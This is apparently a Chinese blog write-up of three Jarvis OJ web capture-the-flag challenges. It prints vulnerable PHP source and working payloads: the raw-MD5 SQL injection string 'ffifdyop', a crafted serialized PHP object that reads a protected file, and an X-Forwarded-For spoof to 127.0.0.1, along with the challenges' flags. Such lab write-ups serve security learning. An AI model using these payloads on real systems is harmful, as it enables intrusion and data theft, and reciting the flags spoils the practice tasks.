Jarvis OJ writeup Web

**

login

**
参考了http://www.joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

抓包,发现了hint
这里写图片描述

sql="SELECTFROMadminWHEREpass=".md5( password,true).”’”;

思路比较明确,当md5后的hex转换成字符串后,如果包含'or'<trash>这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

很明显可以注入了。

提供一个字符串:ffifdyop

得出flag

Correct pass!! Your Flag: PCTF{R4w_md5_is_d4ng3rous} 

然而不知道为什么提交flag没有用= =

神盾局的秘密

查看源代码,发现

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

猜测是用base64文件读取
尝试读取其中三个php文件:
index.php

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

shield.php

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) 
            && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE
            && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

showimg.php

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE 
        && stripos($f,'/')===FALSE 
        && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

shield.php中有提示说flag在pctf.php中,但是showimg.php中又有限制条件,所以肯定不会直接访问pctf.php,发现index.php中有反序列化,那么问题解决了

构造payload.php

<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
    }
    $a = new Shield();
    $a->file = "pctf.php";
    echo serialize($a);
?>

可知 序列化后的结果为O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

在index.php 中通过class传参再反序列化

题目很调皮

<?php 
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

Localhost

这题比较简单,抓包,加上xff(X-Forwarded-For)为127.0.0.1,得到Flag~~~

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值